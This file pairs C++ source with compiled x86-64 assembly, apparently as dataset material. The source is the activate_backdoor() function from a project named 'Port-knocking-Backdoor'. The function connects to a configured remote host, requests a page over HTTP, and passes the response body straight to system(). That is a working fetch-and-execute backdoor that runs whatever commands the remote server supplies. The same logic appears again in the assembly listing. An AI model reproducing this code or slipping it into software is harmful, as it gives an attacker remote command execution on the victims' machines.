// File: /workspace/github_cpp_makefile_star2_O1/sharmin-lalani[P]Port-knocking-Backdoor/backdoor.cpp
// Function: activate_backdoor()
void activate_backdoor() {
	//printf("backdoor activated\n");

	int tcpSocket;
	struct hostent *server;
	struct sockaddr_in server_addr;
	char request[1000];
	char *httpbody = NULL;

	tcpSocket = socket(AF_INET, SOCK_STREAM, 0);
	if (tcpSocket < 0) {
		printf("Error opening socket\n");
		return;
	}
	
	/* lookup the ip address */
	server = gethostbyname(urlHost);
	if (server == NULL) {
		printf("gethostbyname() failed\n");
		return;
	} 

	/* fill in the server_addr structure */
	memset(&server_addr, 0, sizeof(server_addr));
	server_addr.sin_family = AF_INET;
	memcpy(&server_addr.sin_addr.s_addr, server->h_addr, server->h_length);
	server_addr.sin_port = htons(urlPort);
	
	//printf("target ip:%s %s\n", inet_ntoa(*(struct in_addr*)server->h_addr), inet_ntoa(server_addr.sin_addr));

	if (connect(tcpSocket, (struct sockaddr *) &server_addr, sizeof(server_addr)) < 0) {
		printf("Error Connecting\n");
		close(tcpSocket);
		return;
	} //else
		//printf("Successfully Connected\n");

	/* fill in the parameters for a GET request*/
	sprintf(request, "GET /%s HTTP/1.1\r\nHost: %s\r\n\r\n", urlPage, urlHost);

	//printf("%s\n", request);

	if (send(tcpSocket, request, strlen(request), 0) < 0) {
		printf("Error with send()\n");
		close(tcpSocket);
		return;
	}

	bzero(request, 1000);

	recv(tcpSocket, request, 999, 0);
	//printf("Reply received:%s\n\n", request);

	httpbody = strstr(request, "\r\n\r\n");
	if (httpbody == NULL) {
		printf("HTTP response headers are not correctly formatted\n");
		return;
	}
 
	httpbody += 4; // move ahead 4 chars
	system(httpbody);

    	close(tcpSocket);
}

// Assembly:
pushq %rbp
movq %rsp, %rbp
pushq %r14
pushq %rbx
subq $0x400, %rsp            # imm = 0x400
movl $0x2, %edi
movl $0x1, %esi
xorl %edx, %edx
callq 0x1060
testl %eax, %eax
js 0x17cc
movl %eax, %ebx
leaq 0x2ac4(%rip), %rdi      # 0x41b0
callq 0x11b0
testq %rax, %rax
je 0x17d5
xorps %xmm0, %xmm0
leaq -0x1c(%rbp), %r14
movaps %xmm0, -0x4(%r14)
movw $0x2, -0x4(%r14)
movq 0x18(%rax), %rcx
movq (%rcx), %rsi
movslq 0x14(%rax), %rdx
movq %r14, %rdi
callq 0x1120
movzwl 0x2a11(%rip), %eax      # 0x4138
rolw $0x8, %ax
movw %ax, -0x2(%r14)
leaq -0x20(%rbp), %rsi
movl %ebx, %edi
movl $0x10, %edx
callq 0x1130
testl %eax, %eax
js 0x17ec
leaq 0x913(%rip), %rsi       # 0x2062
leaq 0x2c5a(%rip), %rdx      # 0x43b0
leaq 0x2a53(%rip), %rcx      # 0x41b0
leaq -0x410(%rbp), %r14
movq %r14, %rdi
xorl %eax, %eax
callq 0x1040
movq %r14, %rdi
callq 0x10b0
movl %ebx, %edi
movq %r14, %rsi
movq %rax, %rdx
xorl %ecx, %ecx
callq 0x10c0
testq %rax, %rax
js 0x17f5
movl $0x3e8, %edx            # imm = 0x3E8
movq %r14, %rdi
xorl %esi, %esi
callq 0x10e0
movl $0x3e7, %edx            # imm = 0x3E7
movl %ebx, %edi
movq %r14, %rsi
xorl %ecx, %ecx
callq 0x1080
leaq 0x8cb(%rip), %rsi       # 0x207c
movq %r14, %rdi
callq 0x1050
testq %rax, %rax
je 0x1814
addq $0x4, %rax
movq %rax, %rdi
callq 0x1140
jmp 0x1801
leaq 0x987(%rip), %rdi       # 0x215a
jmp 0x17dc
leaq 0x967(%rip), %rdi       # 0x2143
addq $0x400, %rsp            # imm = 0x400
popq %rbx
popq %r14
popq %rbp
jmp 0x11f0
leaq 0x93f(%rip), %rdi       # 0x2132
jmp 0x17fc
leaq 0x924(%rip), %rdi       # 0x2120
callq 0x11f0
movl %ebx, %edi
callq 0x1240
addq $0x400, %rsp            # imm = 0x400
popq %rbx
popq %r14
popq %rbp
retq
leaq 0x8d3(%rip), %rdi       # 0x20ee
callq 0x11f0
jmp 0x1808